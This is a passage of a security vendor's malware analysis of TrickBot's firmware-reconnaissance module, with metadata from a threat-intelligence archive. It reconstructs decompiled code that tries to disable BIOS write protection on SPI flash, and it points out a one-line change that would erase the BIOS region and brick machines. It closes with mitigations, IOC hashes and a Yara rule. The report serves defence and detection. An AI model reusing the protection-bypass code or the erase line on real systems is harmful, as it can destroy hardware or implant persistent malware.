HERE: Trying to read BIOS Control offset\r\n // from SPIBAR instead of PCI Config Space\r\n if ( uefi_expl_phys_mem_read_byte(cur_spibar + 0xDC) \u0026 0x20 )\r\n goto LABEL_10;\r\n // BUG HERE: Trying to write BIOS Control offset\r\n // via SPIBAR instead of PCI Config Space\r\n uefi_expl_phys_mem_write_byte_or_with_old(cur_spibar + 0xDC, 1u);\r\n bc_val = 0;\r\n // Read BIOS Control register and check if WPD bit is already set\r\n if ( pci_read_reg(reg_bc.bus,\r\n reg_bc.dev,\r\n reg_bc.func,\r\n reg_bc.reg,\r\n 2,\r\n \u0026bc_val) \u0026\u0026 !(bc_val \u0026 1) )\r\n // Try to set the WPD (Write Protect Disable) bit\r\n // in BIOS Control register\r\n pci_write_reg(\r\n reg_bc.bus,\r\n reg_bc.dev,\r\n reg_bc.func,\r\n reg_bc.reg,\r\n 2,\r\n bc_val | 1);\r\n // Check if we were able to set the WPD bit\r\n pci_read_reg(reg_bc.bus,\r\n reg_bc.dev,\r\n reg_bc.func,\r\n reg_bc.reg,\r\n 2,\r\n \u0026bc_val);\r\n if ( !(bc_val \u0026 1) )\r\nLABEL_10:\r\n result = 15;\r\n else\r\n result = 0;\r\n return result;\r\n}\r\n0x1000BA42 enable_bios_write_protection\r\nThis function attempts to set the BWP bit in the BIOS Control register but incorrectly writes to that offset\r\nvia SPIBAR and not to the BC register in PCI Configuration Space.\r\nbool enable_bios_write_protection()\r\n{\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 18 of 23\n\n// BUG HERE: Trying to write BIOS Control offset via\r\n // SPIBAR instead of PCI Config Space\r\n return uefi_expl_phys_mem_clear_byte_with_mask(cur_spibar + 0xDC, 0xFE);\r\n}\r\n0x10009281 check_spi_protections\r\nThis function calls multiple helper functions such as read_bios_control_reg, is_bios_locked,\r\nis_smm_bios_protection_enabled, and try_disable_bios_write_protection to try to enable writes to the SPI\r\nregion and returns the result.\r\nIt also uses read_pr_reg and read_from_bios_region to determine if the BIOS Region is not-readable,\r\nwhich is a less common occurrence.\r\nchar check_spi_protections()\r\n{\r\n char result;\r\n unsigned __int8 b2[16];\r\n unsigned __int8 b1[16];\r\n read_bios_control_reg();\r\n is_bios_locked();\r\n // even if SMM BIOS protection is enabled, try to enable writes to the\r\n // BIOS region. buggy SMI handlers can leave protection disabled.\r\n if (is_smm_bios_protection_enabled() \u0026\u0026 try_disable_bios_write_protection())\r\n return 3;\r\n result = 4;\r\n if ( !read_pr_reg(0) \u0026\u0026\r\n !read_pr_reg(1) \u0026\u0026\r\n !read_pr_reg(2) \u0026\u0026\r\n !read_pr_reg(3) \u0026\u0026\r\n !read_pr_reg(4) )\r\n {\r\n // if Protected Range registers are set, check if we can read\r\n // the BIOS region at all\r\n *(long *)b1 = -1;\r\n *(long *)\u0026b1[4] = -1;\r\n *(long *)\u0026b1[8] = -1;\r\n *(long *)\u0026b1[12] = -1;\r\n *(long *)b2 = 0;\r\n *(long *)\u0026b2[4] = 0;\r\n *(long *)\u0026b2[8] = 0;\r\n *(long *)\u0026b2[12] = 0;\r\n read_from_bios_region(0, 16, b1);\r\n if ((b1[0] || b1[3] || b1[7] || b1[15]) \u0026\u0026\r\n (read_from_bios_region(0, 16, b2) \u0026\u0026\r\n (b2[0] != -1 || b2[3] != -1 || b2[7] != -1 || b2[15] != -1)))\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 19 of 23\n\n{\r\n result = 5;\r\n }\r\n else\r\n {\r\n // otherwise, check if we can enable writes to the BIOS region\r\n result = try_disable_bios_write_protection() != 0;\r\n }\r\n }\r\n return result;\r\n}\r\n0x1000BFA0 wait_while_spi_cycle_in_progress\r\nThis function uses uefi_expl_phys_mem_dword to read the Hardware Sequencing Flash Status and Control\r\n(BIOS_HSFSTS_CTL) register to check the status of the SPI Cycle In Progress (H_SCIP) bit. This bit is\r\nset when the SPI hardware is currently processing a request.\r\n0x1000BEF8 get_region_base_and_size\r\nThis function uses uefi_expl_phys_mem_read_dword to determine the Flash Linear Address (FLA) and\r\nsize for the requested region by reading the FDOD (Flash Descriptor Observability Data) and Flash Region\r\n0-6 (BIOS_FREGn) registers. This region configuration is stored in the SPI Flash Descriptor, which is the\r\nfirst 4096 bytes of the SPI chip contents.\r\n0x1000BACD do_spi_operations\r\nThis is a large function that takes requests from other parts of the code and performs reads and writes to\r\nSPI controller registers using the uefi_expl_* primitives and other helper functions in order to perform the\r\nrequested operation.\r\nThe prototype for this function looks like this:\r\nunsigned int do_spi_operations(int region, int cycle_type, int data_offset,\r\nunsigned int data_size, void *buf_ptr);\r\nThe code supports the following types of SPI Flash Cycle requests:\r\nRead\r\nWrite\r\nErase\r\nRead SFDP\r\nRead JEDEC ID\r\nWrite Status\r\nRead Status\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 20 of 23\n\n0x1000BEDD read_from_spi_region\r\nThis is a helper function to make calls do_spi_operation with a hardcoded cycle_type of Read.\r\nunsigned int read_from_spi_region(int region, unsigned int data_offset, unsigned int\r\ndata_size, void *buf_ptr)\r\n{\r\n return do_spi_operations(region, spi_read, data_offset, data_size, buf_ptr);\r\n}\r\nOf particular note, this module could be trivially changed to brick systems by changing the line above to:\r\nreturn do_spi_operations(region, spi_erase, 0, 0x1000000, 0);\r\nThis would result in the code erasing the BIOS region on any vulnerable systems.\r\nBricking a device at this level can require replacement of hardware in order to restore a system back to\r\noperation and is a much more invasive fix than replacing modular components like HDDs or memory,\r\ngiven it may require replacing the entire motherboard.\r\nTest framework and status reporting\r\nBecause TrickBot uses a modular framework to allow new modules to be developed and deployed to targets, this\r\nsample includes some infrastructure code to implement this framework, which is shared with previous samples.\r\nThe main function where the module-specific operations start is at 0x1000D663, which we’ll refer to as\r\n“permadll32_main_module”. This is the main function for this module, which loads and initializes the RwDrv.sys\r\ndriver by calling open_or_init_driver, determines the identity of the platform (both CPU and PCH) by calling\r\nidentify_platform, determines which register locations to use for this platform by calling\r\nget_regs_from_generation, checks if the SPI BIOS Region is writable by calling check_spi_protections, and\r\nreturns the platform identity and if the SPI BIOS Region is writable back to the caller.\r\nAlthough this module appears only to identify the target hardware and determine if the BIOS region is writable, its\r\ncode could be easily modified to write to the SPI Flash to implant the system by modifying the firmware or brick\r\nthe system by erasing the BIOS Region entirely. This could be automated via the use of an additional module to\r\nperform the attack after the reconnaissance has been completed by this module or via ‘at-the-keyboard’ manual\r\noperations.\r\nMitigation\r\nGiven the popularity of TrickBot in the wild, it is important for security teams to ensure that their devices are not\r\nvulnerable and have not been compromised. Firmware integrity checks are particularly important for any device\r\nthat is known to have been compromised by TrickBot. The following steps can be performed with open-source\r\ntools such as CHIPSEC or via the Eclypsium platform.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 21 of 23\n\nCheck devices to ensure that BIOS write protections are enabled. See how in our Protecting System\r\nFirmware Storage blog. Eclypsium customers can specifically look for systems with the “Missing BIOS\r\nWrite Protection” vulnerability.\r\nVerify firmware integrity by checking firmware hashes against known good versions of firmware. Monitor\r\nfirmware behavior for any signs of unknown implants or modifications. \r\nUpdate firmware to mitigate numerous vulnerabilities that have been discovered. See our blog on Firmware\r\nUpdates for the Enterprise for best practices. \r\nIncident Response (IR) teams performing host-level forensics on devices impacted by TrickBot should\r\nexamine firmware as part of their playbook in order to ensure eradication and to gain hotwash insight into\r\nrisks presented by adversaries targeting device firmware in their specific environment.\r\nConclusion\r\nGiven the size and scope of TrickBot, the discovery of a module specifically targeting firmware is troubling.\r\nThese threat actors are collecting targets that are verified to be vulnerable to firmware modification, and one line\r\nof code could change this reconnaissance module into an attack function. Like other in-the-wild firmware attacks,\r\nTrickBot reused publicly available code to quickly and easily enable these new firmware-level capabilities. At a\r\ntime when geopolitical events and a global pandemic have upended life across the globe, TrickBot is digging into\r\nthe hidden area of firmware that is often overlooked. This presents a greater risk than ever before because the\r\nscale of TrickBot, which has previously brought highly disruptive ransomware, now brings firmware attacks to\r\nmany more organizations who are likely unprepared for such techniques. \r\nTrickBoot IOCs\r\npermaDll32 Hashes:\r\nmd5: 491115422a6b94dc952982e6914adc39\r\nsha1: 55803cb9fd62f69293f6de21f18fd82f3e3d1d68\r\nsha256: c1f1bc58456cff7413d7234e348d47a8acfdc9d019ae7a4aba1afc1b3ed55ffa\r\npermaDll32 (pre-decryption) Hashes:\r\nmd5: cef670f443d2335f44a1838463ea44ed\r\nsha1: 30aa28e6df66fe7b4ec643635df8187ede31db06\r\nsha256: c065e39ce4e90a5a966f76d9798cb5b962d51a3f35e3890f91047acfefa8c58e\r\nNote: The TrickBoot module includes an obfuscated copy of RwDrv.sys embedded inside it, but when this file is\r\ndropped into the Windows directory, it can be identified with the following IOCs.\r\nRwdrv.sys Hashes:\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 22 of 23\n\nmd5: 257483d5d8b268d0d679956c7acdf02d\r\nsha1: fbf8b0613a2f7039aeb9fa09bd3b40c8ff49ded2\r\nsha256: ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3\r\nYara Signature:\r\nrule crime_win32_perma_uefi_dll : Module\r\n{\r\nmeta:\r\n author = \"@VK_Intel | Advanced Intelligence\"\r\n description = \"Detects TrickBot Banking module permaDll\"\r\n md5 = \"491115422a6b94dc952982e6914adc39\"\r\nstrings:\r\n$module_cfg = \"moduleconfig\"\r\n$str_imp_01 = \"Start\"\r\n$str_imp_02 = \"Control\"\r\n$str_imp_03 = \"FreeBuffer\"\r\n$str_imp_04 = \"Release\"\r\n$module = \"user_platform_check.dll\"\r\n$intro_routine = { 83 ec 40 8b ?? ?? ?? 53 8b ?? ?? ?? 55 33 ed a3 ?? ?? ?? ?? 8b ?? ?? ?? 56 57 89 ??\r\ncondition:\r\n6 of them\r\n}\r\nClick here to download the indicators of compromise for automation.\r\nSource: https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 23 of 23\n\n*(long *)\u0026b2[12] read_from_bios_region(0, = 0; 16, b1); \nif ((b1[0] || b1[3] || b1[7] || b1[15]) \u0026\u0026 \n(read_from_bios_region(0, 16, b2) \u0026\u0026 \n(b2[0] !=-1 || b2[3] !=-1 || b2[7] !=-1 || b2[15] !=-1)))\n Page 19 of 23", "extraction_quality": 1, "language": "EN", "sources": [ "Malpedia", "ETDA" ], "origins": [ "web" ], "references": [ "https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/" ], "report_names": [ "trickbot-now-offers-trickboot-persist-brick-profit" ], "threat_actors": [ { "id": "a3687241-9876-477b-aa13-a7c368ffda58", "created_at": "2022-10-25T16:07:24.496902Z", "updated_at": "2026-04-10T02:00:05.010744Z", "deleted_at": null, "main_name": "Hacking Team", "aliases": [], "source_name": "ETDA:Hacking Team", "tools": [], "source_id": "ETDA", "reports": null }, { "id": "72aaa00d-4dcb-4f50-934c-326c84ca46e3", "created_at": "2023-01-06T13:46:38.995743Z", "updated_at": "2026-04-10T02:00:03.175285Z", "deleted_at": null, "main_name": "Slingshot", "aliases": [], "source_name": "MISPGALAXY:Slingshot", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "e90c06e4-e3e0-4f46-a3b5-17b84b31da62", "created_at": "2023-01-06T13:46:39.018236Z", "updated_at": "2026-04-10T02:00:03.183123Z", "deleted_at": null, "main_name": "Hacking Team", "aliases": [], "source_name": "MISPGALAXY:Hacking Team", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "f55c7778-a41c-4fc6-a2e7-fa970c5295f2", "created_at": "2022-10-25T16:07:24.198891Z", "updated_at": "2026-04-10T02:00:04.897342Z", "deleted_at": null, "main_name": "Slingshot", "aliases": [], "source_name": "ETDA:Slingshot", "tools": [ "Cahnadr", "GollumApp", "NDriver" ], "source_id": "ETDA", "reports": null }, { "id": "730dfa6e-572d-473c-9267-ea1597d1a42b", "created_at": "2023-01-06T13:46:38.389985Z", "updated_at": "2026-04-10T02:00:02.954105Z", "deleted_at": null, "main_name": "APT28", "aliases": [ "Pawn Storm", "ATK5", "Fighting Ursa", "Blue Athena", "TA422", "T-APT-12", "APT-C-20", "UAC-0001", "IRON TWILIGHT", "SIG40", "UAC-0028", "Sofacy", "BlueDelta", "Fancy Bear", "GruesomeLarch", "Group 74", "ITG05", "FROZENLAKE", "Forest Blizzard", "FANCY BEAR", "Sednit", "SNAKEMACKEREL", "Tsar Team", "TG-4127", "STRONTIUM", "Grizzly Steppe", "G0007" ], "source_name": "MISPGALAXY:APT28", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "e3767160-695d-4360-8b2e-d5274db3f7cd", "created_at": "2022-10-25T16:47:55.914348Z", "updated_at": "2026-04-10T02:00:03.610018Z", "deleted_at": null, "main_name": "IRON TWILIGHT", "aliases": [ "APT28 ", "ATK5 ", "Blue Athena ", "BlueDelta ", "FROZENLAKE ", "Fancy Bear ", "Fighting Ursa ", "Forest Blizzard ", "GRAPHITE ", "Group 74 ", "PawnStorm ", "STRONTIUM ", "Sednit ", "Snakemackerel ", "Sofacy ", "TA422 ", "TG-4127 ", "Tsar Team ", "UAC-0001 " ], "source_name": "Secureworks:IRON TWILIGHT", "tools": [ "Downdelph", "EVILTOSS", "SEDUPLOADER", "SHARPFRONT" ], "source_id": "Secureworks", "reports": null }, { "id": "ae320ed7-9a63-42ed-944b-44ada7313495", "created_at": "2022-10-25T15:50:23.671663Z", "updated_at": "2026-04-10T02:00:05.283292Z", "deleted_at": null, "main_name": "APT28", "aliases": [ "APT28", "IRON TWILIGHT", "SNAKEMACKEREL", "Group 74", "Sednit", "Sofacy", "Pawn Storm", "Fancy Bear", "STRONTIUM", "Tsar Team", "Threat Group-4127", "TG-4127", "Forest Blizzard", "FROZENLAKE", "GruesomeLarch" ], "source_name": "MITRE:APT28", "tools": [ "Wevtutil", "certutil", "Forfiles", "DealersChoice", "Mimikatz", "ADVSTORESHELL", "Komplex", "HIDEDRV", "JHUHUGIT", "Koadic", "Winexe", "cipher.exe", "XTunnel", "Drovorub", "CORESHELL", "OLDBAIT", "Downdelph", "XAgentOSX", "USBStealer", "Zebrocy", "reGeorg", "Fysbis", "LoJax" ], "source_id": "MITRE", "reports": null } ], "ts_created_at": 1775434661, "ts_updated_at": 1775826714, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/e45071f85f9e9e623f056296f65b71ff0a93c001.pdf", "text": "https://archive.orkl.eu/e45071f85f9e9e623f056296f65b71ff0a93c001.txt", "img": "https://archive.orkl.eu/e45071f85f9e9e623f056296f65b71ff0a93c001.jpg" } }